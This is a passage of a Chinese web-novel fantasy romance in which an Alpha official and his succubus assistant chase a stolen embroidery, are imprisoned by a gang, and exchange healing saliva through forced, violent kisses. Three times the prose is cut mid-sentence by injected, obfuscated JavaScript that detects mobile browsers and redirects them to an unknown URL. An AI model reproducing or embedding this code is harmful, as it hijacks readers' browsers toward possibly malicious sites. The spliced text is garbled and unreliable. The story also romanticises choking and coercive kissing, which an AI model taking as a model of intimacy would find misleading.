他的车逐渐被不属于他的东西占领,这让他感到不适。 更让他感到不适的是,他竟然一点也不讨厌这种感觉。 甚至觉得舒服…… 电话响了。 温迟拿出手机,接了电话,来电人是贺书贤。 “你还没到庄家?”贺书贤开门见山问。 温迟:“还没,但我的助理到了。” 贺书贤语气诧异,“你还真准备找那个金老鼠做助理,你自己说的,这么了解你的人只有两种情况,卧底或暗恋。根据概率来说,前者可能性更大,我知道你有本事,但还是小心点。” 温迟扣上安全带,踩油门,“你还有事?” 贺书贤笑了,心下了然。 这是温迟不愿再说的意思,他把话题移到重点上来,“庄家那边说,你的助理也还没上去,你打电话问问是什么情况。庄家担心墨玉印雪绣被盗,你赶紧过去看着,顺便问问你助理到底去哪里了。” 庄家和银月事务所的距离不远,温迟开得很快,在贺书贤说话之际,温迟就看见了站在门口干等的莓陵,以及她旁边站着的男人。 男人长相硬朗皮肤偏黑,正把手里的冰淇淋递给莓陵。 莓陵接过冰淇淋,对着男人笑了笑。 两人说了些什么,男人在笑,莓陵表情呆呆的,从远处看去,两人氛围极好。 温迟盯着莓陵手里的冰淇淋,冷冷回答贺书贤,“确实需要问问我的助理到哪去了。” 贺书贤没听出温迟咬牙切齿的味道,善意提醒,“既然是老鼠,我不知道你准备怎么玩,别把自己玩进去就行。” 嘟的一声,电话挂断。 呲—— 轮胎摩擦地板的尖锐声音立刻引起莓陵的注意,抬眼见温迟从黑车里下来。 随着他越靠越近,鼻尖芳香的味道也越来越浓,她舔了舔嘴角残余的冰淇淋,有种在品尝温迟的错觉。 她一错不错盯着温迟,忍不住多舔了几口冰淇淋。 温迟味冰淇淋。 好吃。 莓陵不喜欢人类的食物,在她嘴里,人类的食物没有任何味道。 只有身体强壮的男人,只有温迟,才会让她产生类似于人类饥饿时会产生的食欲。 “我还不知道我的助理可以这么闲。”温迟走到莓陵面前,扫了眼旁边的男人,视线落在莓陵手里的冰淇淋上,很轻蔑道,“劣质冰淇淋也吃得这么香,看来你是没吃过好的,上去看了墨玉印雪绣了吗?” 莓陵盯着温迟,舔了舔嘴角,“没看到,要预约。” “预约?谁说的?” 莓陵指着旁边的男人,“他。” 他还说要请他吃冰淇淋才让她进去。 显而易见。 她正在贿赂这个男人—— 用一个冰淇淋。 虽然她一点都不明白,为什么一个价格低廉的冰淇淋可以贿赂到这个男人,但男人说可以就是可以。 或许他的爱好就是吃冰淇淋。 那男人见温迟气质不凡,隐约察觉出什么,转头问莓陵,音调高了几个度,都结巴了,“你是……你是……” 莓陵好心帮男人接了下一句,“我是银月事务所的人。” 男人大骂,“艹!你不早说!” “我说了。”莓陵回忆着方才男人说话的样子,“你说,请哥哥我吃个冰淇淋,哥哥不管你是哪里的人,都放你进去好不好~” 戏谑的话从莓陵面无表情的脸上说出来,变了个味。 男人:…… 男人一改散漫的态度,恭敬对温迟鞠躬,“抱歉,您一定是温队长,庄家说了让我迎您上去。” 温迟没给男人一个眼神,伸手夺过莓陵手里的冰淇淋,扔进一米远的垃圾桶内,“这不是你旷工的理由。” 莓陵试图辩解,“但是……” 温迟:“没有但是,莓陵,我对你的工作态度很失望。” 莓陵怂了,立即道歉:“对不起。” 男人尴尬站在原地,始终保持着鞠躬的动作,“温队长,我带您上去。” 温迟拿出手机,打了个电话,点开免提,嘟嘟两声,对方很快接通。 “庄家,我是温迟。” 庄家:“温队长,哎呀,您可算联系我了。您到楼下了吗?我让人去接您,我这里准备了上好的碧螺春,等——” “东西还在吗?”叫停对方恭维的话,温迟开门见山问。 听筒那边等了几秒钟,似乎是在使唤人检查,过了会儿才回答,“还在的,东西还在原地。” 温迟挑眉,“嗯,报警吧,东西丢了。” 庄家:“……温队,我说东西还在。” 温迟挂断电话。 几分钟后…… 警报声四起。 原本还在莓陵眼前乱晃的男人被叫上去,不一会儿,莓陵就见一位肥头大耳的男人颤颤巍巍跑下来,涕泗横流,没走几步跪在温迟面前,“温队!温队!是假的,他给我换了个假的!墨玉印雪绣丢了!真丢了!就在两分钟前!温队啊!那可是庄家的宝贝啊!温队!您要给我做主啊!” 两分钟前…… 莓陵想到刚才走出去的黑衣男人,嘴唇下方有黑蛇纹身,该不会就是他。 温迟转身离开。 莓陵快步跟上,落在他几步后,小声道歉,“对不起。” 但凡她聪明点,早些亮出温迟的名字,再早些亮出银月事务所…… 也许墨玉印雪绣就不会被盗了。 温迟挑眉,好笑看着她,“说说你错哪了?” 莓陵垂头,“对不起,我应该早点说出您的身份,这样墨玉印雪绣就不会被盗了。” 等了几秒没等到温迟的回复,莓陵抬头,发现温迟脸色更黑了。 她说错什么了吗…… 温迟冷笑两声,“你……还真是个死板、愚蠢、不知变通的笨蛋啊。” 莓陵:…… 好狠毒又真实的评价。 她垂头,小心翼翼看他一眼,“您,又要开除我了嘛?” 温迟面露疑惑,“什么叫做又。” 莓陵指了指温迟的车,“我给您叫代驾那会儿,你开除了我一次。然后,我送了花,我感觉您好像不想开除我了……现在……” 现在,可能又想开除她了…… 温迟又笑了,像是被气笑的。 他一言不发转身上车,莓陵赶紧追上去,“温队,我能改。” 温迟:“改?你凭什么觉得你能改?你在追人间隙还能和其他男人一起吃冰淇淋,这么愚蠢的错误,你凭什么觉得你能改?” 他顿了顿,又道:“你以为你送的花很好,你知不知道白菊花是送给死人的?你送给我是什么意思?诅咒我快点死吗!” 莓陵被骂得一愣一愣,“温队,我们不是在说墨玉印雪绣被盗的事吗?和冰淇淋还有花有什么关系?您在为这两件事生气吗?” 原谅她实在搞不懂人类男性的脑回路。 真诚的提问换来温迟的嘲讽,“生气,我有什么好生气的。就算说回墨玉印雪绣这件事,你又有什么能够狡辩的?笨拙、固执、死板、守规矩,看门狗让你买冰淇淋你就买?!我们银月没有这么守规矩的人!” 话落,他拉开车门,上车。 莓陵大概明白了温迟生气的点—— 就是在嫌她笨。 伸手急忙穿过打开的车窗,握住温迟的方向盘,“温队,再给我次机会!让我将功补过可以吗?” 温迟转头,发现莓陵离他很近,对上莓陵那双坚定的眼,他忍不住咽了咽。刻意放缓语气,尽量保持上位者的姿态,“你想怎样将功补过?” 莓陵:“我来开车,我能找回墨玉印雪绣。” 补过的方向错误,但温迟还是有些意外,他挑眉,“要我提醒你吗,你没驾照。” 莓陵抿了抿唇,“嗯,我知道。您坐副驾,没时间了,快点吧。” 温迟心里隐隐有几分期待,一脸看好戏的表情坐到了副驾。 莓陵上车,调整好座位,系好安全带,油门一踩,车身飞出去。 强烈的推背感让温迟不得不握住车门的把手,扫一眼表盘,指针已飞到180的位置。 “你没驾照。” 在莓陵以蛇形走位超过好几辆车时,他不得不再一次提醒莓陵。 莓陵凝视前方,伸出一只手调出定位,“来之前查了查,对方嘴唇下方的纹身是金蛇地下组织成员的标志之一,我记得没错这次是他们扬言要在今天这个点把墨玉印雪绣盗了。其目的就是为了……和银月事务所做对。” 甚至金蛇地下党的名字取得都和银月相反。 一金一银。 好似是从外到内,表现出和银月事务所敌对的态度。 莓陵顿了顿,“金蛇组织的大本营在日出坞的郊外,按照金蛇以往高调的性格,他一定会把墨玉印雪绣拿大本营拍照留念,再上传到网络上挑衅银月。因此,他回程的路线只有一条……” 她随意在郊外定了个点,点开导航的路线图,语音播报道:“目的地金沙公园南门,请沿上庄大道直行十公里。” 上庄大道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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偏偏莓陵像个无事人那般,保持速度持续向银灰色车逼近。 “莓陵!停下!你在逆行!很危险!” 周围有几辆车飞驰而过,都被莓陵的车速吓得车身发抖,温迟也冒了一身冷汗。 呲—— 刹车声划破天际。 莓陵把车停在和银灰色车辆面对面相隔10厘米的位置,她转头,很轻地笑了一下,“温队,我记得员工守则第一条是——” 她抽出温迟腰间佩戴的枪支,在温迟还未从刺激的车速中抽出来时,嘭的一声,开枪击中男人的左臂。 她甚至都没看对面男人一眼,再一次击中他的右臂,不紧不慢补充下一句,“开枪永不迟疑。” 温迟还在愣神,莓陵又开了几枪,打爆银灰色车辆的轮胎,阻止对方逃跑的可能。 手枪在莓陵手里绕了一圈,完好无损放回温迟的枪支袋里。 莓陵开口,声音依旧冷静,“温队,不知道我的表现是否让您满意?”她看着仪表盘上不停闪烁的感叹号,“您的车,好像不能运作了。” 温迟才听到车窗外嘈杂的吵闹声,听见金蛇男人惨叫的声音。 然后,他听到莓陵很认真问他,“嗯,这些都不重要,其实我更想说的是……温迟,我可以吻你吗?” 温迟微滞片刻,没有回答可以或不可以,他笑了。 捏住眉心,意味不明地笑着。 莓陵歪歪头,仔细观察着温迟的一举一动。 几秒后,她也跟着笑了,得出结论,“那就是可以。” 在一阵骚乱声中,莓陵站起身,拉下温迟的手,撑着车靠背,轻轻碰了碰温迟的唇。 温迟这时才注意到,莓陵没有系安全带! 她把安全带从背后穿过去,卡进安全扣里。 这意味着,她从开车到现在,在飞速飙到230多马力的速度时,始终脱离安全带的保护。 不守规矩,将生命置身事外的莓陵…… 让温迟胸口涨疼。 表面呆板、固执、温吞、守规则的背后,竟然有着这样疯狂的底色。在这一瞬间莓陵表现的行为和动作,像脱缰的野马,也像刚被放生的猛兽。温驯纯良不过是掩饰狰狞面目的伪装,在茂密丛林里啖血食肉才是她的真实面目,甚至,还会在某个不经意间冲上来,撕下一块血肉。 清晰意识到这点后,温迟只觉得浑身发热,热血一股脑冲上后颈,撞得后脑勺钝钝发痛。莓陵带给他的刺激,远比他在执行高难度的任务,在濒临死亡之际带来的刺激更多、更具冲击力。 肾上腺素让他头皮发麻,心跳序乱,信息素在车内乱窜。他几乎听不到外界的警笛声,他迫切需要什么,需要什么来安抚他此时此刻焦躁又不安的心,以及始终得不到纾解的信息素。 在这一刻,他第一次清楚理解教科书上说—— 情绪是引起信息素变动的主要因素。 也是在这一刻,温迟更加坚定内心的想法—— 他要杀了莓陵! 如果这份躁动还未脱离信息素的范畴,那说明他还有操作的余地。 他可以把人藏起来,困在某个角落,尽情欢愉。 但……一旦这份情愫脱离信息素的范围,朝着更不可控的情绪跑去,那就说明他已把脖子主动扣上锁链,并将解开锁链的钥匙交付于一个陌生女人手里。 第一次主动踏入囚笼之中。 第一次背离他信奉的自由。 杀了她! 杀了她! 只有杀了她才能结束这一切! 他伸手,在莓陵的嘴唇离开之际,捏住她后颈。手指用力收缩,听见莓陵的骨骼啪啪作响。他没松手,以不容抗拒的姿势把她拉下来,裹挟着恨意,咬破她的□□,强势撬开她的贝齿,在浓重的血腥味里,和她交换了一个相当香艳的吻。 5. 吃五口 杀了她! 亲吻她! 反复吮吸莓陵唇齿间的甜味,微弱的信息素通过唾液传递过来,分明是那样浅淡的味道,却足以让温迟的理智燎原,他渴求着近一点,再近一点,恨不得长出一条长舌探入莓陵的喉间,以此完全掠夺属于莓陵的味道! “恶魔温迟”和“天使温迟”又在温迟体内拉扯,争夺着想要找到最佳的位置,代替温迟本人,品尝莓陵的味道。 “天使温迟”对于“恶魔温迟”的行为十分鄙夷,“某位喊着要杀人的单细胞动物现在是在做什么?抢着做黄色废料的低级生物吗?” “恶魔温迟”嗤笑,“滚开,我只想抢在前面杀了她!” “天使温迟”:“呵呵,怎么杀了她?”他睨了眼恶魔比他还疯狂的掠夺,慢悠悠问,“是想用你的嘴堵住她的呼吸,让她窒息而死吗?” “恶魔温迟”推开“天使温迟”和温迟本人,“滚开!别妨碍我杀人!” 温迟的神经被两人拉扯,明显感觉到莓陵呼吸不畅,推他肩膀的手劲越来越大,他松开莓陵,烦躁制止两人抢夺身体的举动,“都闭嘴,滚开!” “哟!温大队长脾气挺大。” 一个男人站在车窗外,眯着眼盯着温迟和莓陵,似乎已经看他们亲了好一段时间。见温迟终于从吸人的状态中走出来,他露出一口黄牙,笑得嘲讽。 此人正是金蛇的领头——李广元。 温迟转头,轻慢看他,半垂着眼皮,眼神凌厉又危险。 李广元原本气焰嚣张,冷不丁被温迟盯着,刹那熄了火。 温迟的眼神太恐怖了,像是地狱来的恶魔。 惊恐一瞬,李广元恢复过来,干笑两声道:“忘了说,温队长吃口水吃得认真时,我还记得你想要去找墨玉印雪绣,走吧,我们一起去我家看看。” 李广元话说完,打了个响指。 莓陵觉得浑身发虚,本就被温迟亲得不怎么正常的身体越来越虚弱。 舌尖又痛又麻,只想吐出来晾晾。 舌尖还未伸出来,被一只手堵住嘴,软舌下意识收回去。 她无助趴在温迟身上,察觉到温迟浑身僵硬,似乎想要推开她,又碍于药物作用没办法推开。 彻底失去意识的一前秒,她想:他肯定是在嫌弃她身上脏。 毕竟,他的车都不想让人碰,更别说他的人了。 只好醒过来再道歉了。 怎么一直在道歉啊…… 温迟没受到昏迷药的影响,Alpha对这个世界所有的药物都具有抗体,他的头脑始终清醒。 让他感到烦躁的是,他好像进入发情期了。 哪怕没有被药物影响,处于发情期的他,这样抱着莓陵,身体也如中药般无法动弹。 他只觉得满足,像猛兽得到了猎物,餍足后懒得挪动一根手指。 好像只要抱着莓陵,他的身体就能得到一定程度的安抚。 多可怕啊。 还是杀了她为妙。 李广元嚷嚷着叫人把两人拖出来,拉开两人,对上温迟那双相当清明的双眸时,他震惊,“你怎么……” 温迟无视他诧异的表情,声音冷冰冰的,“把她给我!” 他要掐死她! 偏偏李广元沉浸在温迟还清醒的震惊情绪里,不知所措。还未有所动作,就见温迟长手一捞,把人抱进怀里,顺手把搂住莓陵的人抹了脖子…… 李广元的手下们立刻警惕,纷纷掏出枪指着温迟。 就连李广元本人也早早摸上腰间的枪,准备和温迟决一死战。 剑拔弩张的场面。 温迟理应该有所应对。 然而,温迟高大的身影微微曲着,搂着那个女人后,蛰伏的身体好似按下了暂停键,仿佛方才的抢夺是一场意外。 他趴在瘦小女人的脖颈处,用鼻尖反复嗅闻女孩的味道,修长骨感的手指抚上女孩的脖子,上下摩挲着,手指因强烈的情绪反应抽搐痉挛,整个人都陷入了魔怔中。 温迟的脸色有些疯狂,李广元猜,他或许要吃了这个女人。 正好她昏迷着,很好下手…… 可下一刻,李广元瞥见温迟眼里的欲色,又觉得自己猜错了。 温迟应该是想上这个女人…… 莫名其妙看了会儿,李广元发现温迟僵在原地,什么动作都没有,他挥挥手,用一张网将两人捞回大本营。 于是,莓陵醒来时,发现自己身处暗牢,还死死抱着温迟本人。 莓陵:…… 赶紧松手道歉,“温队,抱歉,冒犯您了。” 她环视四周,“我们,这是被金蛇的人抓了。” 她昏迷之前还未完全失去记忆,根据当时的情形她能大概推测出目前的情况—— 她判断失误,中了金蛇的圈套,导致他们处于如今的险境。 “对不起,我也没想到会这样,我……” 道歉的声音在地牢里回响,莓陵的声音越来越虚…… 温迟食指动了动,靠在墙壁上一动不动。 他后知后觉意识到,自己还没把莓陵杀死。 不仅没杀了对方,还因为莓陵此时离开他怀里的行为,感到焦躁不安。 他换了个动作,支起两条腿,有意掩饰胸口的不堪,“托你一番分析,我们中了金蛇的圈套。现在人和财都是他的。” 圈套…… 莓陵试图理解温迟话里的意思,“那个男人是金蛇的诱饵,实际上墨玉印雪绣不在那辆车上。” 她消化完这段话后,又慢悠悠道歉,“抱歉……” 她好像一直在道歉。 理应在这是开口讽刺她的温迟没有回应。 低头一看,他已经闭上眼了。 “温队?” 叫了几声他还没有反应,莓陵担心——不会是在这种脏地方,感染病菌了吧。 人类总是脆弱的。 疾病、伤口、细菌都能夺取他们的生命。 借着牢房外微弱的黄灯,莓陵仔细看着温迟的脸,红扑扑的,额头冒着汗,像在发烧。 温迟的味道也随着体温上升变得越来越好闻。 “温迟……”她轻声唤温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502957|170444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迟的名,试探她额头的温度,“你好烫,你生病了……” 温迟拍开她的手,“别碰我。” 莓陵又抬手摸了摸他的脖颈。 “滚!”温迟又一次拍开她的手。 莓陵不管,反正他拍得也没多重,一点都不痛,顺势摸了摸他的胸口。 好硬! 还有点湿…… “温队,您……”不会是要死了吧! 人类死之前都是硬邦邦的,症状和温迟一模一样! 隐约回忆起李广元出现的场景,有好几人掏了枪,她被人抢走,温迟又把她救了回来! 难道说,就是这个时候受伤的! “唔……”温迟难受躲开莓陵的触摸,身体撞在后墙上发出嘭的闷响,“别碰我……” 莓陵不敢再动他,她没有照顾发烧人类的经验。 其实她也能就此抛弃温迟不管也没什么问题。 死了就死了,她还有两个目标对象。 刚刚尝过温迟的唾液,短时间内不会感到饥饿,甚至亲吻过后,她已完成魔界规定任务的三分之一。 借着这段时间,她肯定能够找到其他优质的男人。 只是…… 看着温迟脸颊微红的模样,她有点舍不得,这可是她第一个吸食的对象! 还长得这么漂亮,比她见过的所有人类男性都要漂亮。 她应该要救他。 拯救发烧人类的第一步—— 降温! 冰块或者凉水都是很好的选择。 可惜…… 暗牢里什么都没有。 莓陵想了又想,掏出备用手机。 温迟低哑的声音从身后响起,“你手机没被收缴?” 莓陵低头专心看着手机,“没。” 温迟深呼吸,换了个姿势,“那你在做什么?又想做让我惊讶又满意的事?” 莓陵转头,“不,我在报警。” 报警…… “等警察来了,过来给我们两人收尸正好合适。”温迟踉跄起身,试图克服易感期的不适,思考怎么逃出地牢。 哪知他还未起身,莓陵扑过来,勾住他脖子往下拉——很轻的力道,他轻而易举就能挣开。可他好像察觉到莓陵想做什么,情不自禁低头,想了许久的软唇终于含在他嘴里。 吮吸、掠夺是自然而然的事…… 他甚至想把莓陵完整含进嘴里,再融入血肉之中。 唾弃自己渴求莓陵的欲望,恨不得把对方杀了! “所以,在警察来之前,我得先救你。” 迷糊之间,温迟听到莓陵这么说,随后,莓陵的软舌退了回去! 温迟急了,抬手捏住她的下颚,迫使她再次把那抹柔软还回来。 没等他开始用力,莓陵又回来了,带着甘甜馥郁的清香回到他的口腔,软润湿滑,甜美可口,他从未尝过这种味道。 从腹部冒出来的饥饿感瞬间被这股甜味满足,干渴的欲念得到满足后,又再一次裂开更大更深的鸿沟。 还要! 还想要…… 6. 吃六口 “够了,喝多了魅魔的唾液,人类会变得更虚弱,这样的份量刚刚好。” 莓陵及时制止温迟摄取的动作。 人类在虚弱时确实会抓住最后的救命稻草,这是人类求生的本能。 她能够理解温迟此时掠夺的行为。 温迟的眼睛还有些许迷离,视线往下,嘴里不禁囔囔,“唾液……” 这句话提醒了莓陵,温迟有洁癖。 但她还是要解释,魅魔的唾液确实有治疗安抚的效果,并且其效果比任何人类制作的药物都要好。 现在温迟的脸就没那么烫了,显然是不烧了。 她把这些慢吞吞同温迟解释,希望他能理解。 然而,温迟听完后,面无表情,擦了擦嘴角又靠着墙角坐下。 莓陵以为他又生气了,不敢再靠近,自己找个角落待着。 地牢不算暗,有扇小小的窗户,光和新鲜的空气都能从那扇窗户中灌进来,比她在魔界住的房子好很多。 四周的墙壁是什么物质? 泥土还是石板砖,亦或者是水泥。 摸起来松松软软,摸到手里满是沙子。再一摸,就能露出里面的红褐色石砖。 石砖的颜色很漂亮,仿佛能透过泥砖的土腥味观照这块砖形成的历史和过程。 莓陵痴迷于观察红砖的纹理、颜色和味道,听到身后嘭的一声巨响才回过神来,转头一看,发现温迟摔倒在地,又昏迷过去。 她立刻将人扶起来,“温队……” 发现温迟又开始发烧,温度持高不下。 “怎么会这样……”莓陵不解,“魅魔的唾液怎么会没用……” 把温迟扶到旁边靠着,莓陵检查他的身体状况,没有受伤,只是发烧,应该是被细菌感染了。 迟疑片刻,莓陵捧着温迟的脸,亲吻他的嘴唇,渡了点魅魔的唾液给他。 正要撤离,原本虚弱的温迟忽然抓住她,搂住她的脖子,狠狠吮吸。 温迟像个渴了三天的人,试图在她嘴里找水喝。 舌头被他吮得又麻又疼。 “唔……”莓陵心理还惦记着不能让他吃太多唾液,试图推开他。 温迟死死禁锢住她,不肯让她挪动半分。 “温……” 开口的话悉数被亲吻淹没,温迟一只手保持控制的姿势捏住她的后颈,另一只手则温柔抚摸她的后背。一个是极端的强势,另一个则是极端的温柔,强烈的矛盾显现在温迟的一双手上,亦如温迟本人一样复杂。 刚柔并济的攻势下,莓陵软了身子,彻底瘫在温迟怀里。 温迟好像就在等这一刻般,搂住她的腰,转了身,将她禁锢在墙壁和他之间。 冰凉的墙壁,炽热的身体。 又是冰火两重天的触感,莓陵头皮发麻。 更让她觉得糟糕的是,温迟的身体好像越来越烫了。 确定不是烧糊涂了吗?! 这么想着,温迟倏然放开她,饱含欲念的眸子染上几丝疑惑。 怎么了? 温迟摸了摸她的腰,“你是傻子吗?” 她低头,发现深黑的衣服上有黑褐色的印记,她感觉到了疼痛。 莓陵看了看温迟手里的血迹,又看了看自己腹部的伤口,得出结论,“我好像受伤了。” “什么叫好像,傻子!”温迟撕开她的衣服,从自己身上扯下一块干净的黑布,给莓陵缠上,“我以为你蠢只是不谙世事,没想到你能这么蠢,自己受伤都不知道,是准备玩新型自杀游戏吗。” 莓陵抿唇,“我也不知道,我第一次……受伤。” 温迟:“……” 见温迟不说话,低头专心给她包扎伤口,莓陵耐心解释,“魅魔忍耐疼痛的能力以及自愈能力都很好,你不用担心。” 温迟利落给她绑了个蝴蝶结,“呵,担心,我巴不得你快点死。” 莓陵:“只有天使才能杀掉魅魔,人类的武器无法给我造成致命伤害。” 温迟翻了个白眼,“死到临头了还没忘记讲故事,闭嘴,少说点话。” 莓陵笑了笑,不说话了。 实际上她也说不了话,伤口的痛感逐渐传到大脑,她的身体慢慢进入休眠状态,减少能量输出,专心治愈伤口。 她闭上眼,没一会儿便睡过去了。 “莓陵!” 她听到温迟在叫她,声音很着急。 莓陵误以为他又发烧了,勾住他的脖子把人往下拉,渡了点唾液给他。 得到安抚的温迟果然不再唤她。 莓陵闭着眼,模模糊糊勾勾他的指尖,放心睡过去。 也不知道睡了多久,再睁开眼,发现温迟正靠在她胸口上,身体又热又湿,压得她喘不过气来。那么高大的身影蜷缩成一团窝在她怀里,看起来有些无助。 “又发烧了?”她摸了摸温迟的脸,确实很烫,“温队……你感觉还好吗?” 温迟抬眼看她,又把头埋进她怀里。 莓陵拍了拍他后背,“我再给你喂点唾液可以吗?” 温迟不说话。 莓陵当他同意了,掰过他的脸又渡了口唾液过去。 输送治愈的唾液也费精力,废了点精力,莓陵又很快睡下。 迷糊中反复察觉到温迟的身体在发烧,亲了没一会儿又烧了。 莓陵只好不厌其烦醒来亲吻他。 幸好,温迟没表现出反抗的意思,也没对她的唾液产生任何负面反应。 莓陵再次被温迟的身体烫醒时,她已经在温迟怀里,温迟主动送上唇,莓陵看向地牢外的方向,没注意到温迟的动作。 “救我们的人来了。” 话落,地牢上方传来嘈杂的脚步声,一阵骚动声过后,地牢被人打开,领头穿着白色军装的男人带着几人,把关着莓陵和温迟两人的地牢破开。 莓陵正想和温迟说说话,发现他站得离她很远,并且看向她的眼神也格外嫌弃。 莓陵:…… “温迟,你没事吧。”为首的男人站在温迟面前,他扫了莓陵一眼,“你这小助理还有点用处,知道内部的暗线报警号码,入职第一天能把员工手册记得如此清楚的人,她是第一个。” 温迟面无表情,揉了揉头发问,“李广元呢?” 贺书贤笑了,“温迟,原来你还记得李广元这号人物,我差点以为你忘记了你是过来做什么的。”他顿了顿,随手扯断挂在地牢门口的大锁,“我怎么不记得,温队会被这种东西困住五个小时,还需要等待外人救援……真让人诧异啊。” 温迟睨了他一眼,贺书贤秒懂,“逃了,我们过来的时候他就跑了,但是……墨玉印雪绣被我们找到了,还顺便找到了之前一直没找到的金蛇老巢。”顿了顿,他笑眯眯看向莓陵,“小姑娘,这次多亏有你。” 莓陵笑了,“不客气,背下人类的员工守则对于我而言不算难事。” 贺书贤:“人类员工守则?你不是人类吗?” “我是——”莓陵刚一开口就被温迟打断,“有空聊天还不如去检查金蛇大本营。” 贺书贤皱皱鼻子,“奇怪,闻到一股酸味。” 莓陵也跟着闻了闻,“有吗?没闻到酸味啊。” 都是泥土味,很好闻。 温迟扫了贺书贤一眼,贺书贤举起双手无辜笑,“你这小助理有点可爱啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温迟笑了,“和我说说你怎么知道的?” “您指哪一方面?”莓陵自问自答,“如果您问的是庄家身份,那我只能说是猜的。” “猜的?” 莓陵:“嗯,单纯看那个要我请他吃冰淇淋的人不爽。” 正经人绝对不会提这种要求。 她顿了顿又道:“但如果您问的是您的话……联邦专用M78手枪比黑市上流通的M78要重50克,并且您里面穿的衣服是联邦政府给高层人员派发的黑泉服,有防弹防火的功效。” 温迟噗嗤一声笑了,“就凭这两点就能断定我的身份?” 莓陵摇头,“并不全是,最后确定你身份的依据是……”她看向不远处的贺书贤,贺书贤身上穿着联邦政府派发的最高执行官制服,纯白的军装格外神性,肩头挂着的两行三星也标志他尊贵的身份。 “警卫部执行官,贺书贤。能让他在半小时内赶过来救援的人,除了权力顶峰的审查长外,我想不到其他可能。”莓陵笑了笑,看向温迟,把手里的锦旗送给温迟,“审查长,群众找您拍照。” 温迟没动,垂眸看莓陵,“举报庄家的理由是什么?” 莓陵愣了会儿,“非法窃取联邦公民财产……十块。” 温迟又笑了,他伸手接过莓陵手里的锦旗,另一只手捏住莓陵的后颈,轻柔一吻,“莓陵,我现在允许你追求我。” 7. 吃七口 从温迟同意莓陵可以追求他的那天起,莓陵的生活发生了一点点变化。 最为直观的变化当然是工作环境—— 从银月事务所那个狭窄的地下场所,一转眼来到高楼林立的写字楼,她觉得新奇。 其次,就是温迟本人。 自上次联邦一人之下的审查长露面后,温迟的外出任务也越来越多,包括不限于处理外交事务、拜访各类媒体、公开出席活动会议等…… 总之,莓陵已经很久没见过温迟了。 久到肚子有点饿。 终于在她忙完堆积如山的工作后,她见到温迟了。 打开审查长办公室的门,温迟就坐在里面,换了身审查长的白色军装,肩头的太阳标志异常耀眼,看起来更像天使了。 “温队!”莓陵语气惊喜,表情却依旧淡淡的,甚至因为这几天过于忙碌又没有吃的,小脸蜡黄,恹气十足。 温迟放下手里的文件,指尖在上面敲了敲,“你看起来很累。” 莓陵:“唔,还好,睡一觉就能恢复了。” “魅魔也需要睡觉?睡觉就能补充好精力?” 莓陵诚实回答,“其实亲你补充精力更快一些。” 睡觉当然也可以,只是没有吸食人类男性的体力来得快。 温迟:“你——” 叮咚~ 电话响了。 “等等!”莓陵打断温迟的话,“温队,我先接个电话。” 温迟微微蹙眉,挥挥手示意她接。 莓陵接过电话,说了几声好,从温迟办公室离开。 温迟盯着莓陵离开的背影,摸了摸发热的后颈。 不舒服! 头晕。 胸涨。 牙痒…… 最好能含着什么,最好能抱住什么,最好这个人就是莓陵。 他会掌握好力度,不会抱太紧,他也会把握好分寸,不逾矩不越界…… 他保证…… 莓陵,应该会答应的吧。 毕竟,她在追求他。 毕竟,她刚刚说她想亲他。 想到这里,温迟起身,去办公室后面的休息室换了身衣服,准备出来时,“天使温迟”冒出来,拿出漱口杯和牙刷道,“刷个牙再出去。” “呵,某些人看样子已经被那个小姑娘捏住后颈了。”“恶魔温迟”也冒出来,倚靠门框上发出嘲讽。 “天使温迟”嗤笑,“有本事某人不要拿漱口水啊。” “恶魔温迟”:“想多了,我只是想给自己用。” “天使温迟”不屑,“说得好像我们能分开一样。别理他,温迟,快点刷牙。” 温迟:“刷好了,漱口水给我吧。” “恶魔温迟”从善如流:“嗯,草莓味的。” 温迟:“……行。” “天使温迟”挤眉弄眼模仿“恶魔温迟”:“草莓味的~” “恶魔温迟”:…… 清洗干净后,是耐心的等待。 猎手已准备就位,就待猎物主动进入牢笼。像莓陵那样主动渴求,一见面就说要亲他的人,不需要太多诱捕技巧。只消坐在这里,就能捕获那只小魅魔。 只是…… 出了点意外。 温迟等到天黑,莓陵还没出现。 终于,他不耐烦,打了个电话过去。 莓陵很快接了,“温队,什么事?” 她的声音听起来很疲惫。 温迟皱眉,“你去哪里了?” 莓陵:“我在张部长这里帮他处理点事。” “张部长……”温迟反复回忆这个人的长相,“我怎么不记得我这里还有个张部长。” 莓陵:“嗯……就是张晓华部长。” “张晓华……呵。”温迟念了一遍这个名字,挂断电话。 莓陵看着黑掉的屏幕有点莫名其妙,温迟好像生气了,但他为什么生气? 抬眼看了眼还在和秘书相互吃唾液的张晓华,莓陵收了手机,继续工作。 嘭的一声—— 门开了。 联邦审查处坚实的门锁被暴力破开,锁芯可怜得耷拉在外,罪魁祸首温迟立在门口。 张晓华背对着门,不知道来人是谁,张口就骂,“滚出去,没看见我在忙吗!” 温迟淡淡的嗓音响起,“看见了。看见了你让我的助理在替你忙。” 听到这声音,张晓华立刻推开秘书,转身滑跪在地,声音发抖,“审查长!您、您、您怎么回来了……” “我再不回来,都不知道你要把我的助理奴隶多久呢。”温迟大腿一迈,走到莓陵面前,随手抽出莓陵手旁边高叠如山文件中的其中一份,“采购申请单……按照联邦法秘密文件保护条例,这不是应该张部长本人来填的吗?” 